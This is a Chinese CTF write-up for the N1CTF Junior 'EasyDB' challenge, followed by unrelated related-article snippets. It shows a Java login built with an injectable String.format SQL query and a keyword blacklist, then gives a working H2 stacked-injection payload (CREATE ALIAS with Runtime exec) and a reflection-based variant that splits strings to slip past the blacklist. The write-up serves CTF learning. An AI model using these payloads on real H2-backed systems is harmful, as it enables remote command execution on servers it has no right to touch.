CTF-web:java-h2 堆叠注入rec -- N1ctf Junior EasyDB
代码存在sql注入
// 处理登录表单的POST请求@PostMapping({"/login"})public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {// 验证用户凭据if (this.userService.validateUser(username, password)) {session.setAttribute("username", username); // 将用户名存储在会话中return "redirect:/"; // 验证成功,重定向到首页} else {model.addAttribute("error", "Invalid username or password"); // 添加错误消息到模型return "login"; // 返回登录视图}}
// 声明一个方法来验证用户的凭据
public boolean validateUser(String username, String password) throws SQLException {// 使用格式化字符串构建SQL查询语句String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);// 检查生成的查询是否安全,防止SQL注入if (!SecurityUtils.check(query)) {return false; // 如果查询不安全,返回false} else {Throwable var8; // 声明一个Throwable变量,用于异常处理// 使用try-with-resources语句自动管理Statement资源try (Statement stmt = this.connection.createStatement()) {// 执行SQL查询stmt.executeQuery(query);// 获取结果集ResultSet resultSet = stmt.getResultSet();Throwable var7 = null; // 声明一个Throwable变量,用于捕获异常try {// 检查结果集是否有下一条记录(即用户是否存在)var8 = resultSet.next();} catch (Throwable var31) {var8 = var31; // 捕获异常var7 = var31; // 将异常赋值给var7以便后续处理throw var31; // 重新抛出异常} finally {// 确保结果集在使用完后被关闭if (resultSet != null) {if (var7 != null) { // 如果有异常,处理异常try {resultSet.close(); // 关闭结果集} catch (Throwable var30) {var7.addSuppressed(var30); // 将异常添加到已捕获的异常中}} else {resultSet.close(); // 正常关闭结果集}}}} }
}
SELECT * FROM users WHERE username = '%s' AND password = '%s'
// 定义一个名为SecurityUtils的公共类
public class SecurityUtils {// 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击private static final HashSet<String> blackLists = new HashSet<>();// 默认构造函数public SecurityUtils() {}// 检查给定的SQL语句是否包含黑名单中的关键字public static boolean check(String sql) {// 遍历黑名单中的每一个关键字for (String keyword : blackLists) {// 将SQL语句转换为小写并检查是否包含黑名单关键字if (sql.toLowerCase().contains(keyword)) {return false; // 如果发现关键字,返回false,表示SQL不安全}}// 如果没有发现黑名单关键字,返回true,表示SQL是安全的return true;}
}
static { blackLists.add("runtime"); blackLists.add("process"); blackLists.add("exec"); blackLists.add("shell"); blackLists.add("file"); blackLists.add("script"); blackLists.add("groovy");
}
使用堆叠注入rec,其标准利用形式如下
CREATE ALIAS EXEC AS '
String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";
}';
CALL EXEC('command');
按如下方式绕过waf
1.将被过滤的字符串拆分
2.Class<?> 声明通用类型的 Class 对象,使用Class.forName动态加载类赋值
3.因为过滤了runtime,使用getMethod将Runtime.getRuntime方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)
CREATE ALIAS evil AS $$
void jerry(String cmd) throws Exception {String R = "R" + "untime";Class<?> c = Class.forName("java.lang." + R);Object rt = c.getMethod("get" + R).invoke(null);//实例化c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
}
$$;
CALL evil('command');
$$...$$是一种用于定义 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。invoke方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。
参考
2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laugh
相关文章:
CTF-web:java-h2 堆叠注入rec -- N1ctf Junior EasyDB
代码存在sql注入 // 处理登录表单的POST请求PostMapping({"/login"})public String handleLogin(RequestParam String username, RequestParam String password, HttpSession session, Model model) throws SQLException {// 验证用户凭据if (this.userService.valid…...
TUSB422 MCU 软件用户指南
文章目录 TUSB422 MCU 软件用户指南 目录表格图表1. 介绍2. 配置2.1 通用配置2.2 USB-PD 3.0 支持2.3 VDM 支持 3. 代码 ROM/RAM 大小优化4. 通过 UART 调试4. 移植到其他微控制器 TUSB422 MCU 软件用户指南 摘要 本文档是 TUSB422 微控制器基于 Type-C 端口控制(…...
BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234100
Hint1:本题的 flag 不在环境变量中 Hint2:session_start(),注意链子挖掘 题目: 扫描出来www.zip class.php <?phpclass Admin{public $Config;public function __construct($Config){//安全获取基…...
常见的排序算法:插入排序、选择排序、冒泡排序、快速排序
1、插入排序 步骤: 1.从第一个元素开始,该元素可以认为已经被排序 2.取下一个元素tem,从已排序的元素序列从后往前扫描 3.如果该元素大于tem,则将该元素移到下一位 4.重复步骤3,直到找到已排序元素中小于等于tem的元素…...
vue学习9
1.文章分类页面-element-plus表格 基本架子-PageContainer封装 按需引入的彩蛋,components里面的内容都会自动注册 用el-card组件,里面使用插槽或具名插槽 文章分类渲染 & loading处理 序号: <el-table-column type"index"…...
TDengine 性能测试工具 taosBenchmark
简介工具获取运行 无参数模式命令行模式配置文件模式 命令行参数配置文件参数 通用配置参数写入配置参数 数据库相关超级表相关标签列与数据列写入行为相关 查询配置参数 执行指定查询语句查询超级表 订阅配置参数数据类型对照表 配置文件示例 写入 JSON 示例查询 JSON 示例订阅…...
【xdoj离散数学上机】T283
递归函数易错: 防止出现递归死循环! 题目 题目:求诱导出的等价关系的关系矩阵 问题描述 给定有限集合上二元关系的关系矩阵,求由其诱导出的等价关系的关系矩阵。 输入格式 第一行输入n,表示矩阵为n阶方阵,…...
Javaweb中,使用Servlet编写简单的接口
案例:网页提交用户名和密码信息,后端校验密码长度需在6-12位之间 后端部分 WebServlet("/valid") public class SimpleServlet extends HttpServlet{public void service(HttpServletRequest req, HttpServletResponse resp) throws IOExcepti…...
GESP5级语法知识(十):初级数论(三)
埃氏筛法: #include <iostream> using namespace std; const int N1e61; int pri[N]; void prime(int n){for(int i2;i*i<n;i){if(pri[i]0){ // 如果i为素数for(int jii;j<n;ji){pri[j]1; // 将i的倍数标记为合数}}} } int main(){int n;cin>>n;…...
“PEP 8: W292 no newline at end of file“报错 IntelliJ IDEA自动添加空行问题
"PEP 8: W292 no newline at end of file"报错 IntelliJ IDEA自动添加空行问题 在使用IntelliJ IDEA的过程中,经常会发现不管是对于代码文件或者纯文本文件,在保存时中会在文件末尾加上一个空行,提交GIT对比检查时,总是…...
ComfyUI工作流 FluxRedux基础换装
文章目录 FluxRedux基础换装SD模型Node节点工作流程效果展示开发与应用FluxRedux基础换装 该工作流的目标是实现服装换装功能,利用多种深度学习模型和图像处理技术,通过用户输入的服装图像和模特图像,生成逼真的换装效果图。整个工作流涵盖了从图像加载、模型编码、条件生成…...
【机器学习】常见采样方法详解
在机器学习领域,数据采样(Sampling)是一项至关重要的技术。它不仅影响模型的训练效率,还直接关系到模型的性能与泛化能力。本文将从基础概念出发,逐步深入介绍机器学习中常见的采样方法,帮助读者全面理解并…...
使用瑞芯微RK3588的NPU进行模型转换和推理
使用边缘设备进行算法落地时,通常要考虑模型推理速度,NVIDA系列平台可以使用TensorRT和CUDA加速,瑞芯微RK3588的板子上都是Arm的手机GPU,虽然没有类似CUDA的加速计算方式,但是提供了NPU进行加速推理,本文说…...
Flutter项目试水
1基本介绍 本文章在构建您的第一个 Flutter 应用指导下进行实践 可作为项目实践的辅助参考资料 Flutter 是 Google 的界面工具包,用于通过单一代码库针对移动设备、Web 和桌面设备构建应用。在此 Codelab 中,您将构建以下 Flutter 应用。 该应用可以…...
【算法学习】DFS与BFS
目录 一,深度优先搜索 1,DFS 2,图的DFS遍历 (1),递归实现(隐士栈) (2),显示栈实现(非递归) 二,广度优先搜索 1,BFS 2,图的BF…...
100.16 AI量化面试题:监督学习技术在量化金融中的应用方案
目录 0. 承前1. 解题思路1.1 应用场景维度1.2 技术实现维度1.3 实践应用维度 2. 市场预测模型2.1 趋势预测2.2 模型训练与评估 3. 风险评估模型3.1 信用风险评估 4. 投资组合优化4.1 资产配置模型 5. 回答话术 0. 承前 本文通过通俗易懂的方式介绍监督学习在量化金融中的应用&a…...
基于deepseek api和openweather 天气API实现Function Calling技术讲解
以下是一个结合DeepSeek API和OpenWeather API的完整Function Calling示例,包含意图识别、API调用和结果整合: import requests import json import os# 配置API密钥(从环境变量获取) DEEPSEEK_API_KEY os.getenv("DEEPSEE…...
线性数据结构解密:数组的定义、操作与实际应用
系列文章目录 01-从零开始掌握Python数据结构:提升代码效率的必备技能! 02-算法复杂度全解析:时间与空间复杂度优化秘籍 03-线性数据结构解密:数组的定义、操作与实际应用 文章目录 系列文章目录前言一、数组的定义与特点1.1 数组…...
CentOS搭建PPPOE服务器
一、安装软件包 yum -y install rp-pppoe 二、配置服务器 1.修改配置文件 打开/etc/ppp/pppoe-server-options文件 nano /etc/ppp/pppoe-server-options 编辑为以下内容: # PPP options for the PPPoE server # LIC: GPL require-pap require-chap login …...
【报错】解决 RuntimeError: CUDA error: CUBLAS_STATUS_INVALID_VALUE 报错问题
解决 RuntimeError: CUDA error: CUBLAS_STATUS_INVALID_VALUE 报错问题 写在最前面问题描述可能的原因分析解决方案该命令的作用 结论 写在最前面 在多用户使用的服务器上,导致的环境变量的冲突和不匹配问题, 代码没有问题,但程序运行异常。…...
国防科技大学计算机基础课程笔记02信息编码
1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制,因此这个了16进制的数据既可以翻译成为这个机器码,也可以翻译成为这个国标码,所以这个时候很容易会出现这个歧义的情况; 因此,我们的这个国…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...
k8s从入门到放弃之Ingress七层负载
k8s从入门到放弃之Ingress七层负载 在Kubernetes(简称K8s)中,Ingress是一个API对象,它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress,你可…...
高频面试之3Zookeeper
高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个?3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制(过半机制࿰…...
ESP32读取DHT11温湿度数据
芯片:ESP32 环境:Arduino 一、安装DHT11传感器库 红框的库,别安装错了 二、代码 注意,DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...
质量体系的重要
质量体系是为确保产品、服务或过程质量满足规定要求,由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面: 🏛️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限,形成层级清晰的管理网络…...
sqlserver 根据指定字符 解析拼接字符串
DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...
MySQL中【正则表达式】用法
MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...
LLMs 系列实操科普(1)
写在前面: 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容,原视频时长 ~130 分钟,以实操演示主流的一些 LLMs 的使用,由于涉及到实操,实际上并不适合以文字整理,但还是决定尽量整理一份笔…...
二维FDTD算法仿真
二维FDTD算法仿真,并带完全匹配层,输入波形为高斯波、平面波 FDTD_二维/FDTD.zip , 6075 FDTD_二维/FDTD_31.m , 1029 FDTD_二维/FDTD_32.m , 2806 FDTD_二维/FDTD_33.m , 3782 FDTD_二维/FDTD_34.m , 4182 FDTD_二维/FDTD_35.m , 4793...
